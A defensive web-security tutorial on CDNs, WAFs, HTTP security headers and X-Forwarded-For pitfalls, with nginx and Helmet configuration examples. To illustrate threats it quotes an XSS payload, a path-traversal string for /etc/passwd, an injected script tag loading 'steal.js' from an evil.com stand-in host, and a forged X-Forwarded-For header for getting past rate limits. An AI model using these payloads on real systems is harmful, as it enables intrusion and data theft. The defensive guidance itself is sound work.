CDN and Security Headers — First Line of Defense Server-Side
Layer 4 in the HTTP Request Journey
Imagine your server is a house, and the CDN and reverse proxy are a building with a security checkpoint at the entrance. Most visitors walk in without issue. But the guard filters out those who look suspicious — before they ever get inside.
Cloudflare, nginx, Caddy, AWS CloudFront — this is the layer that sees every request before your application code does. Well configured, it provides substantial protection practically for free. Poorly configured or skipped, it's a wasted opportunity.
What a CDN Does from a Security Perspective
CDNs are mostly associated with performance — serving static assets from nodes close to the user. But for years CDNs have also played an important security role:
DDoS mitigation. Cloudflare, Akamai, and other CDNs have terabit-level bandwidth and can absorb volumetric attacks that would be fatal for a single server.
Hiding the server's IP address. If all traffic goes through the CDN, attackers don't know your server's real IP. This makes direct attacks that bypass the CDN harder. Just be careful not to leak the IP elsewhere (email headers, DNS records, historical certificate databases like Censys).
TLS termination. The CDN handles the TLS connection with the client, while traffic to the server can travel over an internal network (which should also be encrypted, but that's a separate matter).
Caching. Static assets cached at the edge never reach your server — less load, smaller attack surface.
Web Application Firewall (WAF)
A WAF is a component — built into a CDN or standalone — that analyzes HTTP traffic and blocks suspicious patterns. Cloudflare, AWS WAF, ModSecurity for nginx — each has rule sets matching known attack techniques.
What a WAF can detect and block:
- SQL injection attempts in URL parameters and request body
- XSS — classic payloads like
<script>alert(1)</script> - Path traversal (
../../etc/passwd) - Scanning with tools like sqlmap, nikto, nmap
- Exploitation attempts for known CVEs (e.g. Log4Shell)
What a WAF won't replace:
- Application-side data validation — a WAF can miss advanced, crafted payloads
- Proper authorization — business logic is outside its reach
- Dependency updates — a WAF is a safety net, not a substitute for patches
Treat a WAF as an additional layer, not the only protection. False positives happen (legitimate requests getting blocked) — monitor logs and tune rules accordingly.
HTTP Security Headers — Six You Must Set
HTTP headers are the server's way of telling the browser how to behave. Several of them have a direct impact on security. The good news — setting them usually takes a dozen lines of configuration.
1. Strict-Transport-Security (HSTS)
Tells the browser: "always connect to this domain over HTTPS, never HTTP — and remember this for X seconds."
Strict-Transport-Security: max-age=31536000; includeSubDomains; preloadmax-age=31536000— one year (in seconds). For that time the browser automatically upgrades HTTP → HTTPSincludeSubDomains— applies to subdomains toopreload— submits the domain to a preload list built into browsers (HSTS then works even on the first visit)
Without HSTS, SSL stripping is possible — an attacker in a man-in-the-middle position can intercept the HTTP request (before the redirect to HTTPS) and act as a proxy.
Before enabling includeSubDomains, make sure all your subdomains support HTTPS — otherwise those without a certificate become unreachable.
2. Content-Security-Policy (CSP)
One of the most powerful and hardest to configure headers. It tells the browser where it's allowed to load resources from.
Without CSP, the browser loads JavaScript from any source — if an attacker manages to inject <script src="https://evil.com/steal.js">, it executes.
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; object-src 'none'; frame-ancestors 'none'Breakdown:
default-src 'self'— by default, load resources only from the same domainscript-src 'self' https://cdn.jsdelivr.net— JavaScript only from your own domain and jsdelivrobject-src 'none'— block Flash, Silverlight, and other pluginsframe-ancestors 'none'— this page cannot be embedded in an iframe (clickjacking protection)
Start with report-only mode — the Content-Security-Policy-Report-Only header logs violations without blocking. You can see what you'd be blocking before you actually block it:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report3. X-Frame-Options
A simpler counterpart to frame-ancestors from CSP, supported by older browsers:
X-Frame-Options: DENYor
X-Frame-Options: SAMEORIGINProtects against clickjacking — an attack where your page is embedded in a transparent iframe on a malicious site, and the user clicks buttons thinking they're clicking something else.
4. X-Content-Type-Options
X-Content-Type-Options: nosniffOne header, one value. Tells the browser: don't guess the file's MIME type — use only what the server declares in Content-Type.
Without this header, the browser might execute JavaScript hidden in a file with Content-Type: text/plain because it "guesses" that it's a script. Particularly important when serving files uploaded by users.
5. Referrer-Policy
Controls what information from the Referer header is sent during navigation:
Referrer-Policy: strict-origin-when-cross-originstrict-origin-when-cross-origin— for same-domain requests: full URL. For external: only the domain (no path or query parameters). A good balance.no-referrer— sends no Referer header anywhere
Why it matters: if your URLs contain sensitive data (e.g. a token in a query parameter), without this policy it leaks to external services loaded on the page.
6. Permissions-Policy
Restricts which browser APIs the page is allowed to use:
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()Empty parentheses () = blocked for everyone. If your application doesn't need camera or microphone access — explicitly say so. This limits damage if an XSS attack occurs.
Configuration in Practice
nginx
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
# CSP — adjust to your needs
add_header Content-Security-Policy "default-src 'self'; object-src 'none'; frame-ancestors 'none'" always;Express.js (Node.js) — Helmet
import helmet from 'helmet';
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
objectSrc: ["'none'"],
frameAncestors: ["'none'"]
}
},
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
},
referrerPolicy: { policy: 'strict-origin-when-cross-origin' }
}));Helmet sets sensible defaults for all important headers. One app.use(helmet()) is a solid starting point.
X-Forwarded-For and Rate Limiting Pitfalls Behind a Proxy
When your application sits behind a CDN or reverse proxy, requests arrive from the proxy's IP, not the user's. This has consequences for rate limiting — without proper configuration, all requests look like they're coming from one address (the proxy's IP).
The X-Forwarded-For header passes the original IP:
X-Forwarded-For: 203.0.113.42, 10.0.0.1The first element is the client IP, the rest are proxy addresses.
The trap: never trust the X-Forwarded-For header from the client directly. An attacker can forge it:
X-Forwarded-For: 127.0.0.1And bypass IP-based rate limiting because they "look like localhost."
Safe approach: trust this header only from proxies you control. In Express.js:
// Only if you're behind a proxy — specify the trusted address
app.set('trust proxy', '10.0.0.0/8');
// Now req.ip contains the correct client IP from X-Forwarded-For
// But only if the request came from a trusted IP rangeWith Cloudflare and similar services, proxy IPs are known and static — you can whitelist them.
IP Filtering and Geoblocking
CDNs let you block traffic from specific countries or IP ranges. This is useful for two reasons:
- If your application serves only one country's users, traffic from elsewhere can be blocked with no negative impact on real users
- Lists of known bot and scanner IPs (e.g. Tor exit nodes) are publicly available
Geoblocking is no silver bullet — VPNs and proxies bypass it trivially. But it reduces noise and shrinks the attack surface for automated scanners.
Check Your Headers
Tools for verification:
- securityheaders.com — paste your URL and get a score and report
- Mozilla Observatory — comprehensive security assessment
- HSTS Preload List — check your domain's status on the preload list
Do this for your application now. Most projects get a D or F on the first check. After adding the headers from this post — aim for B+ or A.
Summary
Security headers are one of the cheapest security investments there is — a few lines of configuration that close off entire classes of attacks before a single line of your application code runs.
| Technique | Protects against |
|---|---|
| Content-Security-Policy | XSS, injection of external malicious scripts |
| X-Frame-Options / CSP frame-ancestors | Clickjacking |
| HSTS | SSL stripping on public networks |
| X-Content-Type-Options: nosniff | MIME-type confusion attacks |
| Referrer-Policy | Sensitive URL leakage in Referer header |
| WAF rules | Common automated attack patterns |
| IP filtering / geoblocking | Automated scanners, noise reduction |
Most of this takes under an hour to configure. Helmet.js in Express sets sensible defaults in one line; nginx needs a handful of add_header directives. Run securityheaders.com against your domain before and after — aim for B+ or A. For the HTTPS foundation these headers build on, see When and What to Encrypt.
Sources: